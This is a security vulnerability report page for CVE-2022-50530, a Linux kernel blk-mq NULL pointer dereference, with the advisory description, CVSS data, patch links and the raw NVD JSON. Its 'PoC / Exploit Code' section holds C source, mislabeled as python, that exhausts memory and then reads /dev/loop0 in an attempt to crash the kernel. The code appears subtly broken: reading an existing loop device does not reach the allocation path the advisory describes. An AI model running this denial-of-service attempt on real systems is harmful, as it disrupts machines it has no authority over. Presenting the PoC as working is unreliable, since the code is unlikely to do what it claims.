Security Vulnerability Report
中文
CVE-2022-50530 CVSS 5.5 MEDIUM

CVE-2022-50530

Published: 2025-10-07 16:15:37
Last Modified: 2026-03-17 16:58:27
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: blk-mq: fix null pointer dereference in blk_mq_clear_rq_mapping() Our syzkaller report a null pointer dereference, root cause is following: __blk_mq_alloc_map_and_rqs set->tags[hctx_idx] = blk_mq_alloc_map_and_rqs blk_mq_alloc_map_and_rqs blk_mq_alloc_rqs // failed due to oom alloc_pages_node // set->tags[hctx_idx] is still NULL blk_mq_free_rqs drv_tags = set->tags[hctx_idx]; // null pointer dereference is triggered blk_mq_clear_rq_mapping(drv_tags, ...) This is because commit 63064be150e4 ("blk-mq: Add blk_mq_alloc_map_and_rqs()") merged the two steps: 1) set->tags[hctx_idx] = blk_mq_alloc_rq_map() 2) blk_mq_alloc_rqs(..., set->tags[hctx_idx]) into one step: set->tags[hctx_idx] = blk_mq_alloc_map_and_rqs() Since tags is not initialized yet in this case, fix the problem by checking if tags is NULL pointer in blk_mq_clear_rq_mapping().

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.1:rc1:*:*:*:*:*:* - VULNERABLE
Linux Kernel 受影响版本(具体版本范围请参考git.kernel.org上的修复提交)
Linux Kernel < 6a440e6d04431e774dc084abe88c106e2a474c1a(修复前版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2022-50530 PoC - Trigger null pointer dereference in blk_mq_clear_rq_mapping() * This PoC attempts to trigger the vulnerability by creating memory pressure * during block device queue allocation. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> #include <sys/stat.h> /* * The vulnerability is in blk-mq tag allocation when OOM occurs. * We try to exhaust memory to trigger the failure path in * blk_mq_alloc_map_and_rqs(), causing set->tags[hctx_idx] to remain NULL. * When blk_mq_free_rqs() is called for cleanup, it dereferences the NULL pointer. */ #define MEM_PRESSURE_SIZE (1024UL * 1024UL * 1024UL) /* 1GB */ void consume_memory(void) { void *mempool[MEM_PRESSURE_SIZE / (4096 * 1024)]; int i = 0; size_t chunk = 4096 * 1024; /* 4MB chunks */ fprintf(stderr, "[*] Consuming memory to trigger OOM condition...\n"); while (i < (int)(sizeof(mempool)/sizeof(mempool[0]))) { mempool[i] = mmap(NULL, chunk, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (mempool[i] == MAP_FAILED) { fprintf(stderr, "[*] Memory exhausted after %d allocations\n", i); break; } memset(mempool[i], 0, chunk); i++; } } int trigger_block_alloc(void) { int fd; char buf[4096]; /* Try to trigger blk-mq allocation by opening block devices */ fprintf(stderr, "[*] Attempting to trigger blk-mq tag allocation...\n"); /* Open loop device to trigger queue allocation */ fd = open("/dev/loop0", O_RDWR); if (fd < 0) { perror("[-] Failed to open /dev/loop0"); return -1; } /* Perform I/O operations to trigger tag allocation */ if (read(fd, buf, sizeof(buf)) < 0) { perror("[-] Read failed"); } close(fd); return 0; } int main(int argc, char *argv[]) { fprintf(stderr, "[*] CVE-2022-50530 PoC - blk-mq NULL pointer dereference\n"); /* Consume memory to create OOM condition */ consume_memory(); /* Trigger block device allocation under memory pressure */ trigger_block_alloc(); fprintf(stderr, "[*] PoC execution completed\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50530", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:37.020", "lastModified": "2026-03-17T16:58:26.737", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nblk-mq: fix null pointer dereference in blk_mq_clear_rq_mapping()\n\nOur syzkaller report a null pointer dereference, root cause is\nfollowing:\n\n__blk_mq_alloc_map_and_rqs\n set->tags[hctx_idx] = blk_mq_alloc_map_and_rqs\n blk_mq_alloc_map_and_rqs\n blk_mq_alloc_rqs\n // failed due to oom\n alloc_pages_node\n // set->tags[hctx_idx] is still NULL\n blk_mq_free_rqs\n drv_tags = set->tags[hctx_idx];\n // null pointer dereference is triggered\n blk_mq_clear_rq_mapping(drv_tags, ...)\n\nThis is because commit 63064be150e4 (\"blk-mq:\nAdd blk_mq_alloc_map_and_rqs()\") merged the two steps:\n\n1) set->tags[hctx_idx] = blk_mq_alloc_rq_map()\n2) blk_mq_alloc_rqs(..., set->tags[hctx_idx])\n\ninto one step:\n\nset->tags[hctx_idx] = blk_mq_alloc_map_and_rqs()\n\nSince tags is not initialized yet in this case, fix the problem by\nchecking if tags is NULL pointer in blk_mq_clear_rq_mapping()."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.0.6", "matchCriteriaId": "98F5FA4A-A33F-4FAD-894E-FDC9D295742A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.1:rc1:*:*:*:*:*:*", "matchCriteriaId": "E7E331DA-1FB0-4DEC-91AC-7DA69D461C11"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/6a440e6d04431e774dc084abe88c106e2a474c1a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/76dd298094f484c6250ebd076fa53287477b2328", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}